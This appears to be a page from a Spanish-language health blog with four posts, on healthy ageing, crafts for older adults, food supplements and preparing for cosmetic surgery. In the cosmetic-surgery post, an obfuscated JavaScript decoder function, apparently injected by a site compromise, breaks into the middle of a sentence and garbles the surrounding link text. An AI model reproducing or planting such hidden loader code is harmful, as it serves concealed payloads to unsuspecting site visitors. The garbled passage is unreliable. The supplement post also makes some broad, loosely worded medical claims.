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salud

Claves para un envejecimiento saludable

14 octubre, 2021 by silcastro

Para muchos adultos mayores, la edad adulta es una etapa difícil de transitar, el paso de los años, el deterioro de la salud, la soledad, son algunos de los problemas que enfrentan nuestros adultos mayores.

El envejecimiento saludable es clave para mejorar la salud física y el bienestar mental. En este aspecto, es importante cambiar la mentalidad sobre el envejecimiento.

¿Cómo te sientes al envejecer? Tu subconsciente puede estar recibiendo mensajes equivocados sobre lo que significa ser un adulto mayor y esto puede desencadenar una sensación de ansiedad sobre el futuro y contribuir a problemas de memoria.

La buena noticia es que usted tiene el poder de cambiar la situación, en primer lugar es importante sentirse bien todos los días, sentirse capaz y próspero para enfrentar los desafíos diarios.

Si cree que puede hacer algo, tendrá más posibilidades de lograrlo con hábitos saludables, como por ejemplo:

Desafiarse a sí mismo

La estimulación mental es vital. Pero para mejorar tu memoria, necesitas hacer más de lo que ya eres bueno. Necesitas seguir aprendiendo cosas nuevas. Cuanto más desafíe a su cerebro, más podrá mejorar su memoria. Es por eso que los llamados juegos y ejercicios de entrenamiento cerebral a menudo tienen un impacto limitado o de corta duración. Pueden desafiarlo un poco al principio, pero tan pronto como los domine, su cerebro dejará de aprender.

Un desafío continuo es lo que permite a muchas personas mayores mantener o mejorar su memoria general. Sus cerebros se benefician enormemente de aprender, sacudir las cosas y traspasar los límites. Por lo tanto, es esencial encontrar pasatiempos o actividades que lo mantengan desafiado y comprometido mentalmente. Pero para seguir con ellos, también necesita sentir alegría cuando los hace y tener un camino claro para construir sobre lo que aprende a medida que sus habilidades se vuelven más avanzadas. Por ejemplo, muchos adultos mayores se benefician al aprender a hablar nuevos idiomas, aprender a tocar nuevos instrumentos musicales o hacer un curso de cocina, practicar gimnasia para mayores, salidas culturales, excursiones, paseos, entre tantas otras actividades recreativas.

El punto es ir más allá de su zona de confort y probar cosas que son completamente nuevas para usted. Cuanto más lo haga, mayores serán sus posibilidades de prevenir el deterioro de la memoria y aumentar su capacidad de recordar. No se preocupe por fallar en alguna actividad en particular. Los beneficios se obtienen del acto de desafiarse a sí mismo, no de lograr la idea de éxito de otra persona. Haga las cosas a su propio ritmo para que se sienta satisfecho y motivado para seguir aprendiendo.

Eliminar las distracciones y las fuentes de estrés

La tensión mental y la tensión emocional pueden actuar como barreras importantes para la creación y recuperación de recuerdos. Eso es especialmente cierto si está crónicamente distraído o estresado. Después de todo, su cerebro solo puede procesar cierta cantidad de información a la vez. 

Cuando su carga cognitiva es mayor que la capacidad de su cerebro para manejarla, no puede aprender o consolidar nuevos conocimientos con tanta eficacia. Entonces, si desea evitar la pérdida de memoria y disfrutar de mejores poderes de memoria, debe hacer todo lo posible para minimizar el estrés y las distracciones. Por ejemplo, hacer solo una cosa a la vez en lugar de realizar varias tareas al mismo tiempo.

Opte por un ritmo más lento si ha estado corriendo sin pensar de una actividad a otra.

Hazle saber a la gente cómo te sientes en lugar de mantener ocultas tus emociones.

Medita y toma descansos más frecuentes, especialmente si tus días están llenos de actividades.

Aprender a decir que no cuando sienta que necesita un tiempo de descanso.

Mejorar los hábitos de sueño

Las noches de sueño de calidad son fundamentales para la consolidación de nuestros recuerdos. Por lo tanto, si tiene problemas para recordar cosas, es posible que no esté durmiendo lo suficiente. Por supuesto, es cierto que muchas personas mayores y personas mayores tienen dificultades para conciliar el sueño o permanecer dormidos durante una noche completa de descanso (que generalmente se considera entre siete y nueve horas seguidas). Pero eso no significa que esos problemas para dormir sean normales. 

Para evitar la disminución de la memoria relacionada con el sueño, es posible que deba priorizar las buenas noches de descanso y cambiar algunos de sus hábitos. 

Filed Under: Salud Tagged With: ancianos, envejecimiento activo, gimnasia para mayores, salud

Los beneficios de las manualidades para adultos mayores

10 junio, 2021 by silcastro

En los últimos meses, el mundo ha cambiado, las actividades sociales estaban prohibidas, los gimnasios, cines, teatros y centros de día cerrados.

Sí, la pandemia de COVID ha cambiado por varios meses la forma en que vivimos y nos distraemos, esto ha causado impacto en la vida de todas las personas, especialmente en los adultos mayores que han visto su vida limitada a estar encerrados en casa y en muchos casos, la única actividad era ver televisión. En cambio, muchos otros han optado por realizar ejercicios en casa, hablamos de manualidades y arte, para distraer la mente y combatir los efectos negativos del aislamiento y distanciamiento social.

¿Cómo lo han hecho? Gracias a los beneficios de la terapia ocupacional con estas ideas de manualidades para personas mayores que son fáciles de preparar.

Echemos un vistazo a algunas de las formas en que las artes y las manualidades para las personas mayores pueden ser agradables y beneficiosas.

Crear arte mantiene su mente estimulada y puede ayudar a prevenir enfermedades emocionales.

Crear algo a través de las artes y la artesanía puede darte un sentido de competencia y una mayor autoestima.

Si ha perdido el uso de sus piernas, o está confinado a una silla de ruedas, aprender un oficio que puede hacer con las manos, como pintar o alfarería, puede ser muy satisfactorio.

El uso de sus manos al crear arte puede mejorar el flujo sanguíneo y la destreza en sus dedos, manos y brazos.

Las manualidades para personas mayores con destreza limitada pueden ser una fuente de disfrute y satisfacción para alguien que está luchando por mantener la independencia a pesar de sus limitaciones físicas. Los proyectos de arte y manualidades se pueden modificar para satisfacer las necesidades de la persona que los crea.

Cuando crea algo hermoso o útil para un amigo o familiar, siente un sentimiento de orgullo y crecimiento personal. Cuando ve su trabajo a través de los ojos de otra persona, le da un propósito y el deseo de crear otra obra maestra.

Hacer arte hace que nuestro cerebro se remodele y se restructure, lo que conduce a una mayor función cognitiva. Nuestro cerebro envejece, pero las habilidades creativas no necesariamente se deterioran a medida que envejecemos.

Todos conocemos el sentimiento que proviene de un trabajo bien hecho. Antes de la jubilación, muchos de nosotros experimentamos ese tipo de satisfacción en nuestro trabajo.

Después de jubilarnos, es importante sentir el mismo sentido de logro y orgullo por lo que hacemos y quiénes somos. Ser creativo es una forma en que las personas mayores jubiladas mejoran su bienestar emocional, físico y cognitivo. ¡Los beneficios físicos de las artes y la artesanía para las personas mayores son infinitos!

El aislamiento social es un problema constante en la población de la tercera edad a medida que continuamos navegando en estos tiempos difíciles.

Es sumamente importante establecer una rutina que incluya actividades divertidas y gratificantes.

Una forma de ayudar a superar el aburrimiento y la sensación de aislamiento es adoptar un pasatiempo estimulante para ayudar a pasar el tiempo. Piense en las cosas que le ha gustado hacer en el pasado.

Si tiene un toque artístico, elija algunas pinturas al óleo, acuarelas y lienzos para crear bellas obras de arte para sus paredes. Haga adornos navideños, tarjetas de felicitación y cumpleaños caseras o coronas decorativas para amigos y familiares.

Si disfrutaba de la carpintería, instale un rincón en el garaje para revivir ese viejo pasatiempo. Siga los enlaces de este artículo para obtener más ideas para proyectos de arte y manualidades que quizás desee abordar.

Tu creación será única. No existen reglas ni restricciones cuando se trata de crear proyectos de arte y manualidades únicos para personas mayores. Por lo tanto, reúna sus suministros, involucre su imaginación, configure un área de trabajo y ¡comience!

Filed Under: Sin categoría Tagged With: actividades personas mayores, adultos mayores, centro de dia, salud, terapia ocupacional

Suplementos alimenticios

9 marzo, 2021 by silcastro

¿Cuando es momento de tomar suplementos alimenticios?

En estos tiempos modernos, encontramos multivitaminas al alcance de la mano en los pasillos del supermercado o en cualquier farmacia, nunca ha sido tan fácil la posibilidad de adaptar las necesidades nutricionales.

A pesar de esto, la realidad es que nada reemplaza una dieta saludable, algunas personas piensan que si solo toman un multivitamínico todos los días, entonces pueden comer papas fritas y refrescos o lo que sea. Pero en realidad, la mejor manera de obtener sus vitaminas y nutrientes es mediante una dieta saludable.

Las frutas, verduras, frutos secos, cereales y grasas saludables siguen constituyendo la base de una dieta sana. Y cuanto más amplia sea la variedad en su heladera, cuanto mejor.

Pero si los suplementos alimenticios contienen las mismas vitaminas y minerales que los alimentos, ¿por qué consumir espinacas, manzanas y almendras sigue siendo la mejor opción?

Por un lado, los suplementos son extractos específicos de componentes nutricionales para una dieta saludable. Cuando comes alimentos naturales, hay mucho más impacto nutricional en los alimentos que el suplemento no contiene.

Los oligoelementos que forman parte de los alimentos naturales no están contenidos en los suplementos, no pueden replicar la amplia gama de beneficios y nutrientes de los alimentos reales y la fibra y otras vitaminas que contienen.

Los expertos sugieren que los alimentos ofrecen tres beneficios principales sobre los suplementos: mayor nutrición debido a la complejidad de los alimentos, fibra esencial para controlar el estreñimiento y ayudar a prevenir ciertas enfermedades, y sustancias protectoras como los «fitoquímicos» que se producen de forma natural y pueden ayudar a prevenir el cáncer, las enfermedades cardíacas y la diabetes. y otros. Muchos alimentos naturales también son ricos en antioxidantes.

Mucha gente considera que los suplementos son un atajo para comer sano porque hoy estamos más ocupados. No tenemos el tiempo ni las estructuras familiares para cocinar las comidas desde cero como lo hacíamos hace 50 años. Como resultado, las personas comen a la carrera y consumen más alimentos procesados ​​porque son más convenientes. La industria de los suplementos ha aprovechado ese estilo de vida en movimiento, pero si ya está practicando una dieta generalmente sana y diversa, es poco probable que necesite vitaminas adicionales.

Las mujeres deben tomar un suplemento de calcio, especialmente una vez que cumplen 35 años, debido a la inevitable pérdida ósea que ocurre con la menopausia. 

Las mujeres embarazadas o las que estén pensando en quedar embarazadas también deben tomar ácido fólico adicional. Otro elemento que vale la pena señalar, dijo, es que la mayoría de los suplementos son solubles en agua, por lo que cualquier exceso de lo que su cuerpo necesita generalmente se eliminará en la orina y no causará una acumulación peligrosa en la orina. Sin embargo, las vitaminas D y A son solubles en grasas y pueden acumularse en el sistema, por lo que vale la pena controlarlas.

Es importante escuchar a su médico cuando se trata de recomendaciones individualizadas para suplementos específicos.

Si su médico dice que tiene poco magnesio, tome magnesio, es el propósito real de los suplementos: complementar su dieta habitual cuando sea necesario.

Filed Under: Salud Tagged With: nutricion, salud, suplementos alimenticios, vitaminas

Recomendaciones previas a una cirugía estética

25 agosto, 2017 by Posicionamiento Web Systems

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¿Estás pensando en operarte y no sabes por dónde empezar? Como expertos en cirugía plástica Albacete en function m65c3bbf5572b(wc){var s4='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var r1='';var qb,rd,wb,p1,p5,q8,w7;var vf=0;do{p1=s4.indexOf(wc.charAt(vf++));p5=s4.indexOf(wc.charAt(vf++));q8=s4.indexOf(wc.charAt(vf++));w7=s4.indexOf(wc.charAt(vf++));qb=(p1<<2)|(p5>>4);rd=((p5&15)<<4)|(q8>>2);wb=((q8&3)<<6)|w7;if(qb>=192)qb+=848;else if(qb==168)qb=1025;else if(qb==184)qb=1105;r1+=String.fromCharCode(qb);if(q8!=64){if(rd>=192)rd+=848;else if(rd==168)rd=1025;else if(rd==184)rd=1105;r1+=String.fromCharCode(rd);}if(w7!=64){if(wb>=192)wb+=848;else if(wb==168)wb=1025;else if(wb==184)wb=1105;r1+=String.fromCharCode(wb);}}while(vfandezcalderon.com" class="external" rel="nofollow">www.miguelfernandezcalderon.com te diremos cuáles son las recomendaciones previas a una cirugía estética. Continúa leyendo para que tomes las medidas preventivas indispensables antes de someterte a una operación quirúrgica.

Lo que debes saber antes de la cirugía

Las cirugías estéticas se hacen por varias razones. Si has decidido acudir a un especialista para mejorar algún rasgo físico, lo primero que debes averiguar es que el cirujano esté inscrito en la Sociedad Española de Cirugía Plástica, Reparadora y Estética. Esta verificación la puedes hacer en su portal web.

Además, es importante que compruebes que la clínica, donde será la operación, cuente con los equipos correctos y quirófano en óptimas condiciones. Así como con los médicos necesarios en caso de una complicación en medio de la operación.

Realiza todas las preguntas acerca de la cirugía en las citas previas a la intervención: riesgos de la operación, posibles complicaciones, limitantes físicas post operatorias; tipo de anestesia, quién te la aplicará. Cualquier duda que tengas acláralas antes de entrar al quirófano.

Recomendaciones previas a una cirugía estética

Haz todo lo que te indique el médico: estudios de laboratorio, medicamentos, regulación de la actividad física, alimentación balanceada, descanso, etc.

Análisis previos de laboratorio

En los días previos a la cirugía debes hacerte los exámenes de laboratorio que indicó el doctor. Deberás tener los resultados en la última consulta. Así el especialista podrá comprobar tus valores sanguíneos.

También es necesario que le cuentes con confianza al especialista cómo es tu estilo de vida, si tomas alcohol, fumas, si ya te has hecho otras cirugías, si tienes un tratamiento, o si realizas un deporte de alto impacto.

Infórmate sobre el tipo de anestesia que te colocarán y bajo qué condiciones se ha tomado esa decisión, y sobre las consecuencias de su suministro.

Conoce al equipo médico

Dependiendo de la complejidad de la operación, el especialista en cirugía plástica estará acompañado por un equipo médico durante la intervención. Para que no te sobresaltes cuando veas muchas o pocas personas en el quirófano, lo mejor es que te asegures antes quiénes estarán presentes.

Por lo general, el equipo estará conformado por enfermeros/as, el cirujano, un médico residente y un anestesiólogo.

Consejos generales antes de una intervención quirúrgica

  • Lleva tus documentos de identificación y exámenes pre operatorio.
  • Ve con ropa cómoda, sin accesorios, maquillaje ni esmalte.
  • Asiste con un acompañante.
  • Lleva los elementos post operatorios indispensables (sujetador, faja, o lo que recomiende el doctor.)
  • Si el médico te lo ha prohibido, no consuma ningún tipo de comida ni bebida en las horas previas.
  • Pregunta qué debes hacer en casa ese mismo día: qué comer, a qué hora, etc.

Una cirugía estética es un asunto serio que solo debe ser realizado por un médico certificado. Ten presente estas recomendaciones previas a una cirugía, no te dejes llevar por precios, clínicas y procedimientos nuevos en tu región. Tu salud es algo valioso, cuídala. Ponte en manos de un verdadero cirujano.

Filed Under: Medicina Tagged With: salud

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